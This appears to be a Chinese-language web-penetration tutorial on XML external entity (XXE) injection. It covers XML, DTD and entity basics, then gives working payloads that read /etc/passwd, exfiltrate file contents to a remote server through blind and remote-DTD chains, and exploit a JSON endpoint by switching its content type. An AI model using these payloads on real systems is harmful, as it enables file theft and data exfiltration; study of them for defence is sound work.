WEB渗透 - XXE
XML外部实体注入
XML是什么
可扩展标记语言,被设计用来传输和存储数据。在HTML后开发,为了弥补HTML的不足,html专注于数据的显示,xml专注于数据的内容。
xml没有预定义的标签,创建的人可以自定义它自己的标签。
<?xml version="1.0" encoding="UTF-8"?>
<handsup>
<title>xxe</title>
<from>drac4ry</from>
<responsibility optional="1">let's begining</responsibility>
</handsup>
行1是xml的声明,定义了xml的版本和使用的编码。
handsup标签位于所有标签的外面,用于描述文档的根元素。
其余三个标签描述根的子元素,其中responsibility拥有属性optional和值“1”。
(为了使xml生效,需遵循xml通用规则)
DTD是什么
文档类型定义,dtd定义了xml的标签、属性、元素等,一般xml文档里并不包含标签的定义。
所以DTD可以被包含在XML文档中,组合使用。
<!DOCTYPE handsup [
<!ELEMENT title (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT responsibility (#PCDATA)>
<!ELEMENT responsibility optional CDATA "0">
]>
!DOCTYPE 定义了根元素handsup
!ELEMENT是定义元素用的语法,定义了title等,#PCDATA表示只能包含字符数据,optional是responsibility的可选属性(!ATTLIST),默认值为0。
(这一部分介绍的是DTD的知识点,了解就行,我们利用的主要是xml的实体)
XML实体是什么
当一个数据被频繁调用的时候,为了方便取用,可以预先定义一个实体——!ENTITY
实体可以理解为xml的变量,分为4种类型:内部普通实体,内部参数实体,外部普通实体,外部参数实体。
普通实体:<!ENTITY 内部普通实体名 "实体内容"
参数实体:<!ENTITY % 内部参数实体名 "实体内容"
外部普通实体:<!ENTITY 外部普通实体名 SYSTEM "实体URL"
外部参数实体:<!ENTITY % 外部参数实体名 SYSTEM "实体URL"
xml是一定要闭合标签的,这里我就不闭合了,因为会被markdown识别为html代码
SYSTEM表示引用的是本地文件,也就是外部实体
普通实体和参数实体的区别
普通实体可以在xml和dtd中引用,可以在声明前和元素声明内部引用
引用方式 &实体名;
参数实体只能在dtd中引用,并且不能在声明前和元素声明内部引用
引用方式 %实体名;
%用于实体在 DTD 定义内部被求值的情况,而&用于实体在 XML 文档中被求值的情况
注意分辨元素和实体,不要搞混
利用示例
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<test>&xxe;</test>
ANY表示允许包含任何可解析的数据
定义一个外部普通实体xxe并读取本地文件passwd
file://表示完整的url路径
&xxe将会替换为passwd的内容并打印出来
这是有回显的情况,下面是没回显的情况
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [
<!ELEMENT test ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callbrother SYSTEM "www.myserver.com/?%xxe;">
]>
<test>&callbrother;</test>
定义参数实体xxe获取passwd内容
当被解析时,callbrother会读取xxe的内容,并作为URL参数发送给www.myserver.com,检查服务器日志即可看到
上面是本地获取文件然后发送给远程服务器,下面是调用远程DTD文件然后发送给远程服务器
远程DTD文件
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % use "<!ENTITY % call SYSTEM 'http://ip:port?p=%file;'>">
payload
<!DOCTYPE convert [
<!ENTITY % xxe SYSTEM "http://ip/test.dtd">
%xxe;%use;%call;
]>
%xxe先请求远程test.dtd文件
然后%use调用%file读取test.txt文件,把值赋给%call,base64编码是为了不破坏xml语法结构
( 因为实体的值中不能有 %, 所以要将其转换成HTML实体编码 %)
最后%call把获取到的值发送给远程服务器
其他情况下的XXE
JSON content-type XXE
对于web服务来说,最常见的数据格式是XML和JSON,尽管web服务可能在编程时只使用其中一种格式,但服务器却可以接受并没有预料到的其他数据格式,这就有可能会导致JSON节点受到XXE攻击。
原始请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}
现在我们尝试将 Content-Type 修改为 application/xml
进一步请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}
可以发现服务器端是能处理 xml 数据的,于是我们就可以利用这个来进行攻击
最终的请求和响应:
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....
补充
(5.21)
- 如果是在 java 中 ,有一个协议能代替 file 协议 ,那就是 netdoc

浙公网安备 33010602011771号